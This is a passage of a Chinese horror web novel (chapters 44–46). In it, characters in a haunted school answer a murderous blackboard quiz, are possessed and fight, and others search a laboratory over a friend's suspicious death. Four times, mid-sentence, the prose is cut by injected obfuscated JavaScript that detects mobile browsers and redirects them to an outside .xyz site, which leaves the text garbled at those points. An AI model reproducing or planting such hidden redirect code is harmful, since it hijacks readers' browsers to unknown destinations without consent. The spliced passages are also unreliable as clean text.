没来由地,黄霑心里生出些许难以言述的畏惧。这些畏惧就像是冬天里的寒冷,无法摆脱,不得不痛苦地深陷其中。 今浅说:“如果是我,我是不会让你们在我面前说话的。” 黄霑一愣,脸色大变。 “我不是故意的。”张婷婷落泪,肩膀因哭泣而抽搐,指着黄霑,说,“一切都是她自导自演,我都是被迫的……” “你在说什么啊?!”黄霑瞬间明白张婷婷的背叛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16311800|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情绪激动,“好事全让你占了,出了坏事就把责任推到我的身上?!张婷婷,你可真是有出息啊。” “我不是……我没有……”张婷婷一脸恐惧,擦去眼泪,朝今浅走了几步。 却不想,这个举动却惹怒了黄霑。 两人爆发剧烈的争吵。 今浅问闻啼:“你刚才注意到那个谁,做了什么吗?” “没看清。这一切发生的太快了。”闻啼说,“不过,能肯定一点的是,这里没有会伤害我们的鬼怪。” 他没有感觉到来自鬼怪的杀意或者恶意。 “那么,发生这一切的,只能归纳于怪谈世界本身的力量了。”今浅说,“这间教室没有鬼怪,那么说明,这间教室不需要鬼怪,也能杀人。” 怪谈没有自己的想法,只会无差别地攻击在场的所有人。 也就是说,他们迟早会步入杜腾的下场。 今浅心里骤沉。 也不知道,他们运气算是好还是坏,来到这间危险程度高过之前雕像鬼的教室。 “今浅,这么一来,我们就危险了。”闻啼语气凝重,“现在无法知道下一个天亮是什么时候到来。” 他们不是在K404列车,无法从简单的地形推断昼夜交替的时间。 这是在百年高中怪谈,昼夜更替的标志是下雨与否。 可无论是他还是今浅,都没有能力控制天气提前下雨或者停止下雨。 今浅看向窗外。 雨丝交织,错落,像画家笔下排好的白色细线。 从她的角度,可以看见雨水四溅,像是掉落玉盘的白珠。 “今浅,你怎么……”闻啼转了一圈教室,回头看见今浅时,语气愕然。 “我变高了。”今浅低头,喃喃道。 这说明,她身上的异变,要开始了。 那两人还在争吵。 她们却没有发现,自己的身体已经变形,程度比今浅的药深很多。 呆在这间教室越久,自己就越容易变成人树。 今浅无法把时间浪费在她们身上。 她必须要在自己完全变异前找到出去的办法。 “今浅,我刚才看了一圈,我们虽然在这间教室里,但这里还有另一层透明的空气墙。”闻啼说,“我试过穿过空气墙的代价。” 闻啼伸出自己的前爪,整个爪子少了一大半,切口很整齐,但因他是尸体的缘故,没有像人树一样爆浆。 “所以,刚才这颗树被砍断的原因,是因为他肆意生长,超过了这间教室限定的边界。作为惩罚,就必须要砍断这一部分。”今浅顿了顿,说,“不过,没想到一向谨慎行事、反应迅速的闻啼,居然会在探索线索的时候任由透明墙切断自己的爪子。果然,粗心大意的狗狗还是在一旁呆着吧。” “……你以为我乐意啊。”闻啼没好气地说,“它的速度太快,要不是我后退的速度更快,现在少了点就不只是这部分前爪了。 闻啼这句话信息量很大。 这说明,那面透明的墙正在不断压缩教室里人们生存空间。 就算她找到不变成人树的方法,也迟早会被这堵看不见的墙切成面面。 44. 第 44 章 “那堵墙在哪里?”今浅问。 闻啼指了指位置——大约在教室的四分之一处,离讲台还算远。 “这堵墙应该不是切断人树的墙。”闻啼神情凝重,说,“人树是拦腰截断的。” 也就是说,他们头顶上也有一堵看不见的墙。 今浅是走出讲台,靠近人树。 只是简单的几次呼吸,人树早已没有人形。 截断的横平面方才迸发出喷泉般的汁液,此时已经逐渐销声殆尽,只是静静地外溢流淌,就像无声的哭泣,缓缓流过外皮。 外表是光滑的,肤色,丝毫没有常见树皮的粗糙,隐约还能看见其中青紫色交织的血管——大概是在模拟树皮凹凸的纹路。 至于它的根部,生命的顽强在这一刻展现得淋漓尽致。它穿破了瓷砖和水泥组成的地板,深深地扎入地底,寻找着它赖以生存的 即便是拦腰砍断,它剩下的根部也比她们要高。 在不清楚头顶那堵墙是否仍然堵在那上面,今浅不能拉椅子过来,踩在上面观察横切面。 但一旁被截断的枝干,还呆在一旁,就像被捞上岸后,奄奄一息的鱼。 今浅蹲下身,仔细观察。 横切面很平滑,墨绿色的血液流出筛管,浸湿了层层的年轮——今浅数了数,大概有18层。 “我觉得,天花板上的那堵透明墙,是用于惩罚在教室里变异的人。”闻啼提出自己的看法。 天花板处的墙是在人树毫无节制扩展的时候出现的。人树和墙发生了对峙,最终人树甘拜下风。 “两堵墙都是用于惩罚。”今浅说,“你会受伤,是因为闻啼你不算人,又超过了那堵墙限制的边界。在墙的眼中,你就是肆意扩张的存在,所以才要惩罚你。” “那这面墙可真够死板的。”闻啼撇嘴。 “毕竟边界是不能随意践踏的。”今浅说,“这么一来,我们只需要找到能够抑制我们异化的东西,就可以了。” 找到方向,剩下的就轻松多了。 张婷婷和黄霑仍然吵得面红耳赤,不可开交。 她们方才表示没有找线索,再加上今浅担心,她们两人的恩怨会牵扯到自己身上,便没有关注她俩。 今浅和闻啼搜查教室,然而无果。 “唯一特殊的只有讲台上的白蜡烛。”闻啼皱眉,语气有些犹豫,“但它不知道安不安全。” “无论安不安全,都是唯一的线索。”今浅并不过于担心,“正所谓,风险和收货并存。” 尽管今浅刚才在美术室用掉了【金属化】和【周而复始】,但是她手里还有一个免疫1秒致命伤的【名刀】。 她干脆利落地踏上讲台,在闻啼还没来得及开口的时候,就拿起那根白蜡烛。 一秒。 两秒。 无事发生。 点燃的白蜡烛是安全的。 “看来我的猜测没错。”今浅若有所思。 闻啼凑过来,说:“这个火苗……似乎在跳舞?” 火苗不停地扑腾,就像生怕自己溺死在融化的蜡液之中。 “不是跳舞。”今浅注意到火苗是朝着某个方向,就像之前在雕像室里遇见的一样。 似乎,蜡烛一直在她毫无头绪的时候,指引目前的方向。 今浅眼底闪过一道微妙的光。她顺着蜡烛指示的方向,看清楚后,不由得微微一愣。 黑板上,不知何时,多了几行白粉笔写出的字,在重点的地方,用红粉笔画了个圈。 【知识小问答!只要在规定时间内,回答正确,就能离开!你准备好了吗?请填入“是”或“否”。倒计时:2:58】 和之前在美术室的天花板伤看到的倒计时很相似。 但这个倒计时很显然不是“天亮”的时间。 闻啼皱着眉头,说,“我们用什么答题。” 黑板槽放置了一个板擦,但是没有粉笔。 黑板上又多了行小字。 【血液。】 答案不言而喻。 “所以,它是想让我们自相残杀……这是这个怪谈世界的底色吗?”今浅盯着这几行字,若有所思。 今浅在他面前一向不太正经,闻啼也不小心沾上了点,此时鬼使神差般开口:“它能听见我们回答……难道是死去的人工智能?” “人死了会变成鬼,也有可能是鬼工智能。”今浅说,“不过它居然喜欢喝血。看样子死前不一定是人,可能是蚊子。” 【1:27】 黑板上的倒计时速度似乎变快了。 闻啼心里清楚,自己和今浅的命是绑在一起的。他可不能让今浅受伤,但现在又确实需要血。 闻啼一狠心,闭眼的同时,抬爪,张嘴就要咬破自己的前爪。 他现在附身在尸体上,尸体的血液也是血液——听上去就很恶心,但希望没有凝固变质。 然而,他合嘴的时候,牙齿却碰到了柔软的物体,像是人类的……胳膊。 “诶,狗狗这么敏.感的吗?一下子就认出主人了呀。”今浅的声音在他面前响起,听起来似乎有些遗憾。 闻啼愕然,瞬间察觉到了是什么后,慌忙张嘴,表情恶寒,像是吃到了什么不干净的东西:“今浅你在搞什么?!” “嗯……我在检查你的牙齿?” “检查牙齿需要把整个手臂塞进我嘴里吗?!”闻啼炸毛。 “嗯……可能是你把嘴长得太大,我情难自控。”今浅慢悠悠地说。 闻啼震撼:“我现在可是尸体啊。” “我用的也不是我的本手。”今浅澄清,伸出本该是左手的右手,“它控制我的。” 莫名被泼脏水的“右手”一听,震惊地做了个扭曲的手势,似乎在阐述自己的冤堪比六月的飞雪。 今浅面不改色,强行把“右手”压回身后,说:“不过,伤害自己可不是件很好的事情哦~” “……”闻啼无语,看向今浅的眼神复杂了一瞬,随后撇开头。 今浅可真是让人讨厌,连他心里想的是什么,都看出来了。 如果他刚才再晚一点张嘴,他就要咬伤今浅了。 就是不知道在怪谈世界被尸体咬伤,会不会感染什么奇奇怪怪的病毒。 “毕竟你现在只能依靠我。书上说了,寄人篱下的小狗,必须乖乖地听主人的话。”今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319233|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浅扬起灿烂的笑容,颇有些无奈,“又不巧,我这个人,非常有责任心,才不会随随便便任由狗狗伤害自己呢。” “……早知如此,我就应该刚才狠狠下口。” 今浅这种人,怕是只有看见他有多么凶狠,才会老老实实。 闻啼满脸黑线,心里方才的感动荡然无存,甚至觉得眼前的今浅莫名欠揍。 他顿了顿,回到正题:“可是,如果没有……” “怎么会没有呢?这里可是有现成的。”今浅笑了笑,看向教室的某处。 顺着今浅的目光,闻啼看过去——正是那两位吵嘴的。 “你难道是想——”闻啼脸色大变,今浅笑着点头。 两人的声音同时出现。 “杀了她们俩?!” “人树的血液……” 话音刚落,闻啼一怔,今浅像变戏法一样,从身后掏出来一根长长的枝条,上面滴着墨绿色的液体。 在刚才靠近人树的时候,今浅就收集了一些东西。 正好,现在他们还用得上。 他回头,吵嘴的那两位身后便是人树。 他们三点在一条直线上。 今浅捂嘴,但眼里仍有笑意,看样子闻啼的反应全在她的意料之中。 闻啼又明白自己被戏耍了。 但如果他再恼羞成怒,怕是又会中了今浅的下怀。 闻啼深吸一口气,平复心中的怒火,淡淡地说:“今浅,你真幼稚。” 不像他,是个成熟稳重的大人。 “啊,原来在闻啼心中,我的形象这么差劲啊,真是令人难过。”今浅侧头,抬手掩住嘴边的笑容。 再这么下去,闻啼可能真要生气了。 在黑板的倒计时即将归零的前一秒,今浅拿起那个带墨绿色汁液的枝条,在黑板上圈出“是”字。 黑板上的字迹像是老式电视机屏幕里的雪花,闪烁了几下,而后慢慢消失。 【您已经接受问答,现在即将开始,请做好准备。】 “这都行?!”闻啼惊讶。 他还以为,必须要血。 “也许是因为,在某种情况下,血是绿色的。”今浅耸肩。 黑板上的字迹一变。 【Q1,小红班上有12个人,然而苹果只有11个。小红和小红的同桌都很想吃苹果,请问这时,小红该怎么做? A,一口气吃掉11个苹果。B,把苹果让给小红同桌。】 “……就这种难度的题目?”闻啼有些难以置信,“这间教室大费周章地把我们困在这里,就是为了让我们回答这种思政课上常见的问答题?” 今浅攥住枝条的手却紧了紧。 “不可能这么简单。”今浅看了一眼闻啼,后者看起来没有受到任何影响。 今浅心里有些不太好的预感,但说不出来。 每道题有3分钟的倒计时,她不能停太久 在写下答案前,今浅交代:“闻啼,如果等会儿,我有什么不对劲的地方,不择手段,把我唤醒。” 闻啼不算“人”,可能不会受到题目的影响。 闻啼一愣,随后点头,说:“好。” 45. 第 45 章 今浅拿着枝条,勾出B。 下一刻,黑板似乎闪了一下,随后露出来一个绿色的笑脸。 【回答正确。】 【答案解析:选择B,是因为既然吃不到苹果,那么小红可以往苹果里下毒,再把苹果给同桌吃。这样小红既可以得到大家的赞誉,又可以除掉自己的同桌,同时还能让大家因为同桌的死亡对苹果产生恐惧,故而独享剩下的10个苹果。】 似乎是不想给任何人思考的时间,答案解析几乎是“唰”一下消失,跳转到下一题。 闻啼心里一阵古怪。 他望向今浅,后者面色如常,像是没有受到任何影响。 难道今浅胸有成竹? 闻啼心里嘀咕,警惕般地,往黄霑和张婷婷那边看去。 她们像是达成了某种协定,展示不再争吵,而是安静地坐在一起。 闻啼收回目光。 只要她们不是在添乱就好。 绿色的笑脸笑容更深。 黑板中,兀的,一个穿着红色的火柴人出现。 【Q2,小红是班上的倒数第一名。请问如何提高小红的排名? A,杀了其他所有学生。B,花钱贿赂。C,偷试卷。D努力学习。】 黑板上的火柴人和题目同步了。它现在面前凭空出现了四样物品,刀、钱、卷子和书,代表着刚才的四种选项。 今浅选择D。 红色火柴人拿起了书。 绿色笑脸的笑容愈发真诚。 怪异的情景让闻啼皱眉,他侧头。 今浅依旧面无表情,安静地站在那里,等待着下一个题目的出现。 【Q3,小红学了一段时间,仍然考倒数第一。请问该如何提高小红的排名? A,杀了其它学生。B,杀了其它学生。C,杀了其它学生。D,努力学习。】 火柴人面前的钱和卷子被隐形的板擦擦掉了,取而代之的是两把刀。 火柴人面前,有着三把刀和一本书。 今浅这次却迟疑了。 她垂下目光,像在思索,手却在刀和书之间徘徊。 在任何人眼里都像是在思考的样子,闻啼却敏锐地察觉到今浅的异样。 她太安静了。 如果是平时的今浅,这会儿应该会想出奇奇怪怪的话,来吐槽这个一点都不理智的选项。 “今浅,你能听见我的声音吗?”闻啼出声试探。 今浅的手即将落到刀上。 “……能。”今浅露出挣扎的神色,她咬着牙,把手挪动到书上。 红色火柴人有些不情不愿,但仍然拿起了书。 闻啼心里松了一口气,可是余光却见到黑板上的绿色笑脸笑得更加明朗。 他的心里突然悬起石头,不安在逐渐放大。 似乎是为了验证闻啼心里的不安,黑板上的问题一变。 【Q4,小红发现,一直努力学习并没有什么用处。小红仍然是班级倒数第一。请问如何提高小红的排名。 A,杀了其它学生。B,杀了其它学生。C,杀了其它学生。D,杀了其它学生。】 红色火柴人面前不再有书,只有一把锋利的刀。 今浅背着烛光,脸上表情晦暗不清。她只是伸手,指尖碰到用白粉笔画在黑板上的刀柄。 “今浅,‘杀人’这种选项真的是正确的吗?”闻啼疯狂暗示,“这也太像个陷阱了吧。你肯定不会犯这种低级的错误。毕竟你一向最擅长的,就是在绝对不可能的题目里找到正确的答案。” 今浅不为所动,只是微微一顿。 她碰到了这把刀。 有什么东西像从黑板里生长出来。闻啼能听见窸窸窣窣的声响,像是植物迅速张开叶子。 可是闻啼环顾四周,也无法找到那棵植物。 至于人树——它只是安安静静地呆在那里,微微摇晃,像在呼吸。 今浅后撤一步,那把刀顺势,从黑板里抽出来。 “今浅,你怎么知道这把刀能从抽出来?”闻啼心里的不安越来越强。 后面一直吵架的那两位不知何时,已经陷入了深深地沉默。 闻啼扭头,正好对上她们空洞且没有任何感情的视线。 闻啼心里一阵发毛,往今浅的方向挪动几步。 却没想到,今浅那边传来了刀尖摩擦黑板的声响。 刀越抽越长,就像窗外乍然穿过云霄的惊雷。 在冷白的烛光下,刀身倒映着教室内诡异的景象——布满黑板的赤红“杀”字,和闻啼无神但震惊的双眼,和一只布满红藤蔓纹路的素白手腕。 今浅转身。 窗外雷声大作,透彻云霄的闪电再次照亮了她的面庞。 在刹那间,闻啼看清了。 今浅的脸上爬满了红色的纹路,就像是烙印在灵魂上的红色藤蔓。 那些纹路在她的一呼一吸中微微收紧力度,散发着诡异的红光,贪婪地蚕食宿主身上的理智,情感和力量。 今浅看着闻啼,慢慢抬起手中的刀。 “!!” 闻啼再怎么迟钝,也多少清楚眼前的今浅已经中招了。 可是,是什么时候?! “今浅醒醒!你还记得你是谁吗?”闻啼咬牙,侧身躲过今浅的攻击,一边着急出声,尝试唤醒今浅。 今浅歪头,看样子是听进去了。 “我?”今浅的声音变得有些空灵,不像今浅平时说话的声音。 她笑了一下,语气雀跃,说:“我当然是小红啦。” “……” 闻啼的心一下子沉入谷底。 他侧身跳下讲台,却被那两位女生拦住了。 “你们……” “我们也是小红呀。”两位脸上挂着和今浅如出一辙的笑容,就连雀跃的声音如出一辙。 闻啼:…… 完蛋了,他被小红做局了。 闻啼灵活地躲避两位吵过架的“小红”的攻击,但是难搞的讲台上附身在今浅身上的“小红”——她手里有刀,不好对付。 今浅面无表情,提刀冲向闻啼,就算左手变成了右手也无法改变她本身的灵活。 闻啼再次偏头,尖锐的刀锋擦过他的脸颊,一道浅浅的伤口,没有渗血。 尸体的血液已经凝固。 闻啼眼底的情绪沉下来。 被小红附身的今浅是真心想要杀死他。 单靠“说服”,显而易见,无法唤醒今浅。 闻啼只能动真格。 闻啼灵活走位,借着暗淡的光线,悄无声息地打晕黄霑和张婷婷,而后突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16334648|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消失在今浅的眼里。 今浅手中动作一顿,她回头,似乎是在寻找闻啼的位置。 突然,余光有一道银灰色的物体袭来。 今浅几乎是条件反射般,猛然朝它出刀。 “哐铛——” 刀锋砍向那颗物体,却发出清脆的金属碰撞生。 是桌子腿。 今浅动作一顿。 紧接着,真正的闻啼从她的视线盲区窜出来,长着血盆大牙,朝着她的手咬去。 两个右手,咬哪一个。 闻啼已经没空想了。 他只能咬着离自己最近的手,那只没有拿刀的手——而那恰好,是刚才光明正大赖上今浅,假装自己是左手的右手! 完了,咬错手了。 闻啼反应过来,内心升起来深深地绝望。 他应该咬住今浅真正的右手——这样便可以让今浅手中的刀掉落下来,虽然来不及唤醒今浅的神智,但至少可以削弱今浅的战斗力。 但时间已经来不及等闻啼换只手。 今浅一个甩手,闻啼就被迫松口,甩飞得远远的。 那只手并没有流血。 今浅就像是没有感觉到疼痛——毕竟那也不是她真正的手。 她只是再次向闻啼袭来,抄起那把刀——尖锐,银白,两三处钝口,带着冰冷刺骨的寒光。 闻啼也没有留情,只是迅速调准身位,起跳,抬手剜向她的心窝,皮肉连带在骨头上——粗钝,白骨沾着刨过土的黄土,腐肉和伤口就像熬煮很久,炖得烂熟的肉。 即便如此,今浅的力度也几乎并没有收敛,完全是抱着一和一换死的决心。 她脸上的红纹闪了一下,今浅眼神也愈发冷漠。 那个操控今浅身体的“人”,完全不在乎今浅的死活。 闻啼心有不甘,可又无可奈何。 真的就要这么结束了吗? 闻啼无神的眼睛里,那道不带有一丝情感的冷芒离他越来越近。 在死亡即将来临之时,闻啼心里反而意外平静,隐隐约约有些憋屈。 一想到自己居然是死在这么没有水平的怪谈世界里,甚至是在这种莫名其妙的自相残杀之中,闻啼只觉不甘。 他就算是死,也宁愿死在敌人的手下,而不是——被附身的,朋友的,刀下。 在刀子即将砍下的那一瞬间,闻啼下意识闭眼不去看两败俱伤的场面。 可预想的疼痛并未来临,紧接着是一声清脆的声响。 闻啼睁眼,正好看见今浅手中的刀子从手中脱落。 同时,今浅像是脱力,弯腰,跌倒在地上。 那只带着疾风的爪子正好擦过她的头顶。 闻啼愕然,收势,落回地上,转身回头。 他这才看清,今浅被掐住了——刚才咬住的那只手,掐住了今浅的脖子。 今浅倒在地上,不得不用另一只手去阻拦。 那只右手显然是有自己的想法。 它本来也意识到今浅的不对劲。或者说,它早就知道了今浅的不对劲,但一直无动于衷地装死。 直到闻啼咬了它一口。 它吃痛,这下不能装死,只能帮助闻啼唤醒今浅。 但是它的力量也只是杯水车薪。 因为下一刻—— 46. 第 46 章 今浅毫不犹豫斩断了那只右手。 吃痛的右手不自觉松开了她的脖子。 鲜血喷涌而出,四溅,腾空,就像红色的丝带,在空中变形旋转—— 恰似此刻,这只躺倒在地,歪曲爬行的右手遍布的红色纹路。 新鲜的空气灌入自己的鼻腔,今浅忍不住弯下腰,撑着冰凉的地板,干呕几声。 她擦去生理性眼泪,缓缓站起来,面无表情地抬眸。 眼前的闻啼,灰白的身上遍布和地上断手一致的红色纹路,就连混白的眼眶,也不可避免长了红血丝。 在进来教室的时候,闻啼还是她唯一的同伴。 而现在,她不得不与闻啼兵戎相见。 今浅回忆闻啼的异常。 从自己开始回答黑板上的问题时,闻啼便一直保持沉默。 直到她转身时,余光中,闻啼朝她低吼几声,伸出爪子,快速朝她攻击。 今浅反应很快,挡住了几招,好在手中的枝条在她刚才碰到黑板的时候,莫名变成了一把锋利的长刀,这才挡住了闻啼的进攻。 今浅扫了一圈教室,满地狼藉,刚才吵架的女生被闻啼打晕过去。 “这可真不是一件好事啊。”今浅叹气,握紧手中的长刀,扬起,朝面前不清醒的同伴,冷呵道,“无论如何,闻啼,你最好给我清醒下来,否则……” 今浅眸光一沉。 如果是平时,她从来不会对试图伤害自己的人心慈手软。 但现在,闻啼明显是被他身上的奇怪纹路控制了。看在闻啼跟自己的交情,她还可以给他清醒过来的机会。 面前的闻啼沉默,但随着今浅举起长刀,他的肌肉绷紧,蓄势待发,烛光下再无神的双眼,此刻也显现出几分警惕和凶恶。 地上的断手动弹几下,一边咕噜冒着鲜血,一边挪动到闻啼身边。 很好。 今浅面无表情,长刀在空中划过一道漂亮的弧线。 寒芒在她的眼底一闪而过。 “既然我说的话,你不愿意听。那么我就把你打一顿,让你老实下来。”今浅提刀,认真地说,“这次,我可不会再手下留情了。” 她要想解开这个红色纹路的古怪之处,就得先让闻啼安静下来——至少,不要试图打扰自己。 烛光摇曳,两人再次交战的身影倒映在窗户上。 窗外的雨下得更大了,织成了密密麻麻的白布,恰似此时此刻,秦语正在实验室的衣柜里翻找的白色实验服。 他们误入了实验室后,实验室的鬼就说跟他们玩一个游戏。 “只要找到我们在哪里就可以了哦。”鬼怪们笑着说,“我们可以放胜利的人出去。” 眼下,除了跟它们玩游戏之外,秦语和裴佑并没有其它的选择。 “它们在哪儿啊?”裴佑翻找试剂柜,只觉得头疼。这种找东西的东西,他一向是不会的。 呆在实验室的几位一开始并没有什么行动的打算。但大概是看见他们两个学生在旁边忙活,没有出什么意外,而自己呆坐在旁边,面子上有些过不去,黄立便率先起身,提出帮忙。 谭迟因为他特殊的“能力”,他想起身,却被黄立拦下:“你是法医,不用做这种简单的工作。这种琐碎的事情,还是交给我们吧。” 谭迟只好作罢。 吴林一开始有些犹豫,但比起落单和被排挤,他更愿意抱团行动,于是也跟着一起。 吴林陪着秦语找衣柜,但并没有尝试去碰衣柜里的东西。他只是抵着衣柜的门,装作不经意间问:“秦语,你是怎么进来了?” “啊,许个愿望而已。”秦语淡淡地说。 “哦,这样啊。”吴林说,“是许关于成绩的吗?但我记得你之后会出国留学,根本不用参加高考……你们家的资金链出了问题吗?” 虽然秦语并不在意自己的愿望被人知晓,但是她很不愿意别人用这种试探的语气跟自己说话。 秦语说:“有机会担心别人,还不如早点担心自己家的资金问题吧。” 吴林脸色一变,但秦语正在抖实验服——很遗憾,只掉落了一根细黑的铁丝。她没发现吴林脸上的变化。 在秦语看不见的地方,吴林深呼吸,而后恢复了平日里淡定的神色,说:“看样子,是个很重要的问题喽……难不成是你喜欢上了裴佑,但裴佑不喜欢你?” 秦语震惊,看向吴林的目光有些惊悚。 这是她第一次在外人面前流露出和平常截然相反的神色,而这在吴林眼里,便是自己说对的事实。 终于找到了秦语的“软肋”,吴林从刚才的惊吓中缓回神,嘴角终于有了浅浅的笑容。 被cue到了裴佑一脸莫名其妙,他抬头,有些恶寒地摸着手臂上的鸡皮疙瘩,说:“别乱说。我只把她当作妹妹照顾。怎么所有人都这么恋爱脑啊?!” “这句话你应该对很多人都说过吧。”吴林不恼,露出淡淡的微笑,胜券在握。 “是啊。”裴佑坦荡,“我就是想给全天下比我小的妹妹们一个哥哥。但就是有些人啊,满脑子都是情情爱爱的。你是这种人,而在学校里乱传流言蜚语的那几个人,也是这种人。” 也许是裴佑太过坦荡了,吴林一时语塞。他顿了顿,好心劝着秦语说:“你看,这种话术的人都是花花公子。如果你实在需要爱,可以找我。” “我可不跟装模做样,表里不一的人交往。”秦语冷声说,“比起你,我更相信裴佑的为人。” 裴佑是跟她一起长大的,虽然有点傻,但至少人品还在,做事有分寸。 至于吴林,她在学校里听过吴林的流言蜚语。更重要的是,某个人出事前,跟他有关系,秦语不得不对吴林心生警惕。 “不过,你不是很想知道我的愿望吗?”秦语放下手中的实验服,塞进衣柜,关上柜门后,看着吴林,说,“我的愿望,就是想找到一个事情——向潇湘的真实死因。” 吴林嘴边的笑容僵硬了。 “她那种人,我是最清楚不过的,生命旺盛得就像一把永不熄灭的火焰,就算命运再怎么戏弄她,她也绝不会草率地做出跳楼这种自杀的行为。”秦语说完,目光并没有离开吴林的脸庞。 在如愿看见吴林脸上的表情后,秦语抿了抿嘴,心里最不愿意猜测的想法得到了验证,有些苦涩。 “人都死了,再纠结这些有什么用。”吴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16347084|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林不自在。 “这很重要!”秦语反驳,“因为死亡从来不是轻飘飘的一张通知书。它是怅然若失,是捶胸顿足,是代表着曾经有一个人非常重要的人,存在于你的生活,而你却毫不知情—— 直到那人消失的一刹那,泪水夺眶而出,滑过脸颊,冰凉的风经过时,你才后知后觉,那人的重要。 而此时,为时已晚。” 秦语深吸一口气,然而声线变得颤抖。 “学校里传遍了败坏她的流言,我就算再怎么花钱也只是杯水车薪。其他人恨不得我多给点,可只有她,也许是知道钱来得不容易,会心疼我花的钱太多……如果她还在世,一定会埋怨我铺张浪费。可现在我连这种真诚关切的话语都听不见了。”秦语几近哽咽,但尝试平复自己激动的情绪。 “明明还约定了周末去书城买书,明明出事前一天,还在奶茶店里打工,甚至偷偷给我加了几勺珍珠。明明说好要做一辈子的好朋友……这样一个热爱生活的朋友死了,谁会甘心!” 秦语握紧拳头,眼前吴林躲避的眼神已经证实了他知晓这件事的内幕。 她很愤恨,但手中没有证据,不能对着他做什么,只能像下战书般,冷漠通知面前的人,说:“事发当天,她跳楼的时候,周围并没有证人。我不相信她是自杀。” “但我一定要找到她真实的死因。”秦语坚持,“我一定要为她讨回一个公道。” “不惜冒着生命的危险?”谭迟突然开口。 “是的。”秦语干脆。 “为什么?”吴林难以理解。 “因为我们是朋友。”秦语理所当然地说,“为朋友,便是最天经地义的理由。” “那你呢?”吴林扭头,看向旁边的裴佑,“我记得,你跟向潇湘应该也没什么交集吧。你怎么上前凑热闹了?” “我见过向潇湘几次,她叫我一声哥,就是我妹妹了。”裴佑勾起嘴角,看了一眼面色铁青的吴林,奇怪地说,“哥哥为妹妹出生入死,不是很正常的吗?” “真是疯了……”吴林喃喃道。 他没想到,现实中居然会有这种甘愿为朋友出生入死的人。 “还果真是学生啊……”谭迟感叹道。 天真,但又一腔赤诚。 他拍了拍衣服上的灰尘,单手插兜,推了推眼镜,气定神闲。 “咦,您怎么起来了?”黄立连忙上前。普通底层出身的他,对警察有着天然的敬畏和阿谀奉承的心思,这也是他半生颠簸悟出来的捷径——和权贵的人打好关系,有助于自己家人和自己孩子日后的前景。 他弯着腰,陪笑道,“您是警方那边的人,找东西这种粗活,您其实是不用做的。” “只是突然想到,只看着两个学生在前面忙前忙后,而自己坐在后面坐享其成的感觉也太糟糕了。怎么说,我也是个成年人。”谭迟笑了笑,不留痕迹地看了一眼黄立和吴林,“为着捍卫自己心中的理想和正义奋斗了,真好啊,仿佛回到了学生时代。” 这样的存在,让他想到了一个人。 不过,她应该已经被永远留在怪谈世界里了吧。 谭迟有些遗憾,但遗憾也只是转瞬即逝。